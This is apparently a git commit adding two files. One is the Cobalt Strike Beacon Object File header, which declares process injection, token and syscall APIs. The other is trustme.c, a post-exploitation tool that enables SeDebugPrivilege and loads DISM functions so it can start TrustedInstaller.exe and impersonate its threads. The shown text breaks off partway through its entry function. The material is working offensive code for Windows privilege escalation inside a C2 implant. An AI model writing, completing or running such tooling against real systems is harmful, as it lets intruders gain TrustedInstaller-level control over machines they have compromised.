Upload files to "/"
This commit is contained in:
parent
4c8bdad5e7
commit
bdf51d5226
403
beacon.h
Normal file
403
beacon.h
Normal file
@ -0,0 +1,403 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
|
||||
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
|
||||
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
|
||||
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
|
||||
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
|
||||
*/
|
||||
#ifndef _BEACON_H_
|
||||
#define _BEACON_H_
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char * ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_UDC2_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
|
||||
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char * sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char * beacon_ptr;
|
||||
HEAP_RECORD * heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, *PBEACON_INFO;
|
||||
|
||||
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
|
||||
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
|
||||
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
|
||||
|
||||
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
|
||||
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
SYSCALL_API_ENTRY ntQueueApcThread;
|
||||
SYSCALL_API_ENTRY ntCreateProcess;
|
||||
SYSCALL_API_ENTRY ntOpenProcessToken;
|
||||
SYSCALL_API_ENTRY ntTestAlert;
|
||||
SYSCALL_API_ENTRY ntSuspendProcess;
|
||||
SYSCALL_API_ENTRY ntResumeProcess;
|
||||
SYSCALL_API_ENTRY ntQuerySystemInformation;
|
||||
SYSCALL_API_ENTRY ntQueryDirectoryFile;
|
||||
SYSCALL_API_ENTRY ntSetInformationProcess;
|
||||
SYSCALL_API_ENTRY ntSetInformationThread;
|
||||
SYSCALL_API_ENTRY ntQueryInformationProcess;
|
||||
SYSCALL_API_ENTRY ntQueryInformationThread;
|
||||
SYSCALL_API_ENTRY ntOpenSection;
|
||||
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
|
||||
SYSCALL_API_ENTRY ntDeviceIoControlFile;
|
||||
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
|
||||
} SYSCALL_API, *PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, *PRTL_API;
|
||||
|
||||
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
|
||||
* This allows for retrieving a copy of the information which would be under the BOF's
|
||||
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtls;
|
||||
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
|
||||
|
||||
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
|
||||
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
|
||||
|
||||
/* Beacon System call functions which will use the current system call method */
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
|
||||
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
|
||||
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon Gate APIs */
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
#endif // _BEACON_H_
|
||||
340
trustme.c
Normal file
340
trustme.c
Normal file
@ -0,0 +1,340 @@
|
||||
/*
|
||||
* trustme.c - Become TrustedInstaller BOF
|
||||
*
|
||||
* Uses the DISM API to trigger TrustedInstaller.exe, then walks
|
||||
* the process list via NtGetNextProcess/NtGetNextThread to find it
|
||||
* and impersonate one of its threads via NtImpersonateThread.
|
||||
*
|
||||
* Requires: Admin context with SeDebugPrivilege available
|
||||
*
|
||||
* Compile (x64):
|
||||
* x86_64-w64-mingw32-gcc -c trustme.c -o trustme.x64.o -masm=intel
|
||||
*
|
||||
* Compile (x86):
|
||||
* i686-w64-mingw32-gcc -c trustme.c -o trustme.x86.o -masm=intel
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include "beacon.h"
|
||||
|
||||
/* ======================================================================
|
||||
* Dynamic Function Resolution (DFR) declarations
|
||||
* ====================================================================== */
|
||||
|
||||
/* --- kernel32.dll --- */
|
||||
DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);
|
||||
DECLSPEC_IMPORT WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
|
||||
DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE);
|
||||
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(void);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
|
||||
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
|
||||
|
||||
/* --- advapi32.dll --- */
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE, DWORD, BOOL, PHANDLE);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupAccountSidA(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE);
|
||||
|
||||
/* --- msvcrt --- */
|
||||
DECLSPEC_IMPORT void * __cdecl MSVCRT$malloc(size_t);
|
||||
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *);
|
||||
DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *, const char *);
|
||||
DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$wcsstr(const wchar_t *, const wchar_t *);
|
||||
DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$_wcslwr(wchar_t *);
|
||||
DECLSPEC_IMPORT void * __cdecl MSVCRT$memcpy(void *, const void *, size_t);
|
||||
DECLSPEC_IMPORT void * __cdecl MSVCRT$memset(void *, int, size_t);
|
||||
|
||||
// Ntdll function typedefs
|
||||
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
|
||||
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
typedef NTSTATUS(NTAPI* fnNtGetNextProcess)(
|
||||
HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
|
||||
typedef NTSTATUS(NTAPI* fnNtGetNextThread)(
|
||||
HANDLE, HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
|
||||
typedef NTSTATUS(NTAPI* fnNtImpersonateThread)(
|
||||
HANDLE, HANDLE, PSECURITY_QUALITY_OF_SERVICE);
|
||||
typedef NTSTATUS(NTAPI* fnNtClose)(HANDLE);
|
||||
|
||||
// DISM function typedefs
|
||||
typedef UINT DismSession;
|
||||
typedef enum {
|
||||
DismImageHealthy = 0,
|
||||
DismImageRepairable = 1,
|
||||
DismImageNonRepairable = 2
|
||||
} DismImageHealthState;
|
||||
|
||||
typedef HRESULT(WINAPI* fnDismInitialize)(UINT, PCWSTR, PCWSTR);
|
||||
typedef HRESULT(WINAPI* fnDismOpenSession)(PCWSTR, PCWSTR, PCWSTR, DismSession*);
|
||||
typedef HRESULT(WINAPI* fnDismCheckImageHealth)(DismSession, BOOL, PVOID, PVOID, PVOID, DismImageHealthState*);
|
||||
typedef HRESULT(WINAPI* fnDismCloseSession)(DismSession);
|
||||
typedef HRESULT(WINAPI* fnDismShutdown)(void);
|
||||
|
||||
// constants
|
||||
#define DISM_ONLINE_IMAGE L"DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}"
|
||||
|
||||
#ifndef ProcessImageFileName
|
||||
#define ProcessImageFileName 27
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_INFO_LENGTH_MISMATCH
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_BUFFER_TOO_SMALL
|
||||
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
|
||||
#endif
|
||||
|
||||
#ifndef SE_DEBUG_NAME
|
||||
#define SE_DEBUG_NAME "SeDebugPrivilege"
|
||||
#endif
|
||||
|
||||
// enable SeDebugPrivilege
|
||||
static BOOL EnableDebugPrivilege(void) {
|
||||
HANDLE hToken = NULL;
|
||||
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken failed: %lu", KERNEL32$GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!ADVAPI32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "LookupPrivilegeValue failed: %lu", KERNEL32$GetLastError());
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "AdjustTokenPrivileges failed: %lu", KERNEL32$GetLastError());
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "SeDebugPrivilege not available. Are you elevated?");
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// entrypoint
|
||||
void go(char * args, int alen) {
|
||||
|
||||
if (!EnableDebugPrivilege()) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to enable SeDebugPrivilege. Aborting.");
|
||||
return;
|
||||
}
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] SeDebugPrivilege enabled");
|
||||
|
||||
// load dismapi.dll and resolve DISM functions
|
||||
HMODULE hDism = KERNEL32$LoadLibraryA("dismapi.dll");
|
||||
if (!hDism) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to load dismapi.dll: %lu", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
fnDismInitialize pDismInitialize = (fnDismInitialize)KERNEL32$GetProcAddress(hDism, "DismInitialize");
|
||||
fnDismOpenSession pDismOpenSession = (fnDismOpenSession)KERNEL32$GetProcAddress(hDism, "DismOpenSession");
|
||||
fnDismCheckImageHealth pDismCheckImageHealth = (fnDismCheckImageHealth)KERNEL32$GetProcAddress(hDism, "DismCheckImageHealth");
|
||||
fnDismCloseSession pDismCloseSession = (fnDismCloseSession)KERNEL32$GetProcAddress(hDism, "DismCloseSession");
|
||||
fnDismShutdown pDismShutdown = (fnDismShutdown)KERNEL32$GetProcAddress(hDism, "DismShutdown");
|
||||
|
||||
